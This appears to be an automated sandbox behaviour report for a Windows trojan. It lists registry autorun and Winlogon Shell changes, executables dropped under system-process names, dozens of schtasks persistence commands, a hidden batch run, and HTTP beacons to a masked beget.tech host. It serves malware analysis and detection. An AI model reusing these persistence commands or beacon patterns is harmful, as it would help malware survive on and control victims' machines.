Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'explorer' = '"C:\Documents and Settings\explorer.exe"'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\Documents and Settings\explorer.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'spoolsv' = '"%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\spoolsv.exe"'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\Documents and Settings\explorer.exe", "%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\spoolsv.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'mdm' = '"C:\Documents and Settings\mdm.exe"'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "C:\Documents and Settings\explorer.exe", "%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\spoolsv.exe", "C:\...
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'WUDFHost' = '"C:\Users\Default User\WUDFHost.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'winlogon' = '"%ALLUSERSPROFILE%\Package Cache\{dde2682b-961a-41ea-8d44-6005991b7947}\winlogon.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'explorer' = '"<Current directory>\explorer.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'firefox' = '"%HOMEPATH%\Videos\firefox.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'winlogon' = '"C:\MSOCache\All Users\{90140000-001B-0409-1000-0000000FF1CE}-C\winlogon.exe"'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'firefox' = '"%ProgramFiles%\WindowList\firefox.exe"'
Creates or modifies the following files
- <SYSTEM32>\tasks\rpv3explorer
- <SYSTEM32>\tasks\rxlffirefox
- <SYSTEM32>\tasks\m7mrwinlogon
- <SYSTEM32>\tasks\ixi0winlogon
- <SYSTEM32>\tasks\hx5zwinlogon
- <SYSTEM32>\tasks\firefox
- <SYSTEM32>\tasks\9hb5firefox
- <SYSTEM32>\tasks\rfw3firefox
- <SYSTEM32>\tasks\twqbfirefox
- <SYSTEM32>\tasks\qb6kexplorer
- <SYSTEM32>\tasks\0rlbexplorer
- <SYSTEM32>\tasks\fpnnexplorer
- <SYSTEM32>\tasks\winlogon
- <SYSTEM32>\tasks\fbaywinlogon
- <SYSTEM32>\tasks\w8jtwinlogon
- <SYSTEM32>\tasks\bjqgfirefox
- <SYSTEM32>\tasks\siomwinlogon
- <SYSTEM32>\tasks\k1r2wudfhost
- <SYSTEM32>\tasks\n1rmwudfhost
- <SYSTEM32>\tasks\nalawudfhost
- <SYSTEM32>\tasks\mdm
- <SYSTEM32>\tasks\krtwmdm
- <SYSTEM32>\tasks\anksmdm
- <SYSTEM32>\tasks\szbemdm
- <SYSTEM32>\tasks\spoolsv
- <SYSTEM32>\tasks\ppeespoolsv
- <SYSTEM32>\tasks\vynospoolsv
- <SYSTEM32>\tasks\oof4spoolsv
- <SYSTEM32>\tasks\explorer
- <SYSTEM32>\tasks\p1uyexplorer
- <SYSTEM32>\tasks\wljqexplorer
- <SYSTEM32>\tasks\wudfhost
- <SYSTEM32>\tasks\aulgfirefox
Modifies file system
Creates the following files
- C:\documents and settings\explorer.exe
- %TEMP%\r3jyprod1i
- %ProgramFiles%\windowlist\0fc223bdacedc3
- %ProgramFiles%\windowlist\firefox.exe
- C:\msocache\all users\{90140000-001b-0409-1000-0000000ff1ce}-c\cc11b995f2a76d
- C:\msocache\all users\{90140000-001b-0409-1000-0000000ff1ce}-c\winlogon.exe
- %HOMEPATH%\videos\0fc223bdacedc3
- %HOMEPATH%\videos\firefox.exe
- <Current directory>\7a0fd90576e088
- %TEMP%\92c0octu6o.bat
- <Current directory>\explorer.exe
- %ALLUSERSPROFILE%\package cache\{dde2682b-961a-41ea-8d44-6005991b7947}\winlogon.exe
- C:\users\default user\480b7989c529f6
- C:\users\default user\wudfhost.exe
- C:\documents and settings\559fba5f8e4410
- C:\documents and settings\mdm.exe
- %ProgramFiles(x86)%\adobe\acrobat reader dc\f3b6ecef712a24
- %ProgramFiles(x86)%\adobe\acrobat reader dc\spoolsv.exe
- C:\documents and settings\7a0fd90576e088
- %ALLUSERSPROFILE%\package cache\{dde2682b-961a-41ea-8d44-6005991b7947}\cc11b995f2a76d
- nul
Deletes the following files
- %TEMP%\r3jyprod1i
Network activity
Connects to
- 'ga####rj.beget.tech':80
TCP
HTTP GET requests
- http://ga####rj.beget.tech/externalToCpumultiBase.php?F0#########################################################################################################################################...
- http://ga####rj.beget.tech/externalToCpumultiBase.php?SQ#########################################################################################################################################...
UDP
- DNS ASK ga####rj.beget.tech
- 'localhost':123
Miscellaneous
Creates and executes the following
- 'C:\users\default user\wudfhost.exe'
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\92c0octU6O.bat"' (with hidden window)
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn "rpV3explorer" /sc MINUTE /mo 9 /tr "'C:\Documents and Settings\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "qb6Kexplorer" /sc ONSTART /tr "'<Current directory>\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorer" /sc MINUTE /mo 6 /tr "'<Current directory>\explorer.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "TWqbfirefox" /sc MINUTE /mo 12 /tr "'%HOMEPATH%\Videos\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "rFw3firefox" /sc ONLOGON /tr "'%HOMEPATH%\Videos\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "9hb5firefox" /sc ONSTART /tr "'%HOMEPATH%\Videos\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefox" /sc MINUTE /mo 10 /tr "'%HOMEPATH%\Videos\firefox.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "anKsmdm" /sc ONLOGON /tr "'C:\Documents and Settings\mdm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "hX5zwinlogon" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-001B-0409-1000-0000000FF1CE}-C\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "M7mRwinlogon" /sc ONSTART /tr "'C:\MSOCache\All Users\{90140000-001B-0409-1000-0000000FF1CE}-C\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogon" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-001B-0409-1000-0000000FF1CE}-C\winlogon.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "rxLFfirefox" /sc MINUTE /mo 14 /tr "'%ProgramFiles%\WindowList\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "bjQGfirefox" /sc ONLOGON /tr "'%ProgramFiles%\WindowList\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "AULGfirefox" /sc ONSTART /tr "'%ProgramFiles%\WindowList\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefox" /sc MINUTE /mo 13 /tr "'%ProgramFiles%\WindowList\firefox.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "fpNnexplorer" /sc MINUTE /mo 8 /tr "'<Current directory>\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "0RLBexplorer" /sc ONLOGON /tr "'<Current directory>\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogon" /sc MINUTE /mo 6 /tr "'%ALLUSERSPROFILE%\Package Cache\{dde2682b-961a-41ea-8d44-6005991b7947}\winlogon.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "fbAywinlogon" /sc ONSTART /tr "'%ALLUSERSPROFILE%\Package Cache\{dde2682b-961a-41ea-8d44-6005991b7947}\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "w8jtwinlogon" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Package Cache\{dde2682b-961a-41ea-8d44-6005991b7947}\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "P1uYexplorer" /sc ONSTART /tr "'C:\Documents and Settings\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "explorer" /sc MINUTE /mo 14 /tr "'C:\Documents and Settings\explorer.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "oOF4spoolsv" /sc MINUTE /mo 14 /tr "'%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\spoolsv.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "VYnospoolsv" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\spoolsv.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "PPeEspoolsv" /sc ONSTART /tr "'%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\spoolsv.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsv" /sc MINUTE /mo 8 /tr "'%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\spoolsv.exe'" /f
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\92c0octU6O.bat"
- '<SYSTEM32>\schtasks.exe' /create /tn "ixI0winlogon" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-001B-0409-1000-0000000FF1CE}-C\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "SzBEmdm" /sc MINUTE /mo 9 /tr "'C:\Documents and Settings\mdm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "mdm" /sc MINUTE /mo 7 /tr "'C:\Documents and Settings\mdm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "nalAWUDFHost" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "n1rMWUDFHost" /sc ONLOGON /tr "'C:\Users\Default User\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "k1r2WUDFHost" /sc ONSTART /tr "'C:\Users\Default User\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHost" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\WUDFHost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "siomwinlogon" /sc MINUTE /mo 6 /tr "'%ALLUSERSPROFILE%\Package Cache\{dde2682b-961a-41ea-8d44-6005991b7947}\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WLJQexplorer" /sc ONLOGON /tr "'C:\Documents and Settings\explorer.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "krtWmdm" /sc ONSTART /tr "'C:\Documents and Settings\mdm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
